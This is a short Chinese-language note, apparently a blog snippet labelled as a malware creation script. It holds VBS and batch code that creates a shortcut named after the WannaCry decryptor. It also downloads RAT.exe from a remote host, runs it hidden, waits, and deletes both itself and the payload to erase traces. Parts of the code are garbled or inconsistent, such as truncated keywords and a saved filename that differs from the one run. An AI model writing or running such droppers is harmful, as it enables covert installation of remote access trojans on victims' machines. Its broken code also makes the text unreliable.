vbs脚本

恶意软件创建脚本

@echo off //以隐藏的方式执行下面几条指令

echo SET ow = WScript.CreateObject(“WScript.Shell”)> m.vbs //创建一个脚本命令窗口

echo SET om =
ow.CreateShortcut(“C:\Users\GuiShou\Desktop@WanaDecryptor@.exe.lnk”)>> m.vbs

echo om.TargetPath = “C:\Users\GuiShou\Desktop@WanaDecryptor@.exe”>> m.vbs

echo om.Save>> m.vbs //将上面几条指令输出到m.vbs
cscript.exe //nologo m.vbs //使用Cscript.exe运行m.vbs脚本
del m.vbs //删除 m.vbs

On Error Resume Nex

set w=createobject(“wscript.shell”)
##下载文件
eateObject(“Msxml2.XMLHTTP”)
post.Open “GET”,“https://192.168.3.128:8080/RAT.exe”
'发送请求
post.Send()
Set aGet = CreateObject(“ADODB.Stream”)
aGet.Mode = 3
aGet.Type = 1
aGet.Open()
'等待3秒，等文件下载
wscript.sleep 3000
aGet.Write(post.responseBody)'写数据
aGet.SaveToFile “csdn.html”,2
w.run “RAT.exe”,0 ##后台运行

Set fso = CreateObject(“Scripting.FileSystemObject”)
WScript.Sleep 60000 '将脚本执行挂起60秒
fso.DeleteFile(WScript.ScriptName) '删除脚本自身
If fso.FileExists(“c:RAT.exe”) Then fso.DeleteFile(“c:RAT.exe”) '删除程序

删除自身行为很敏感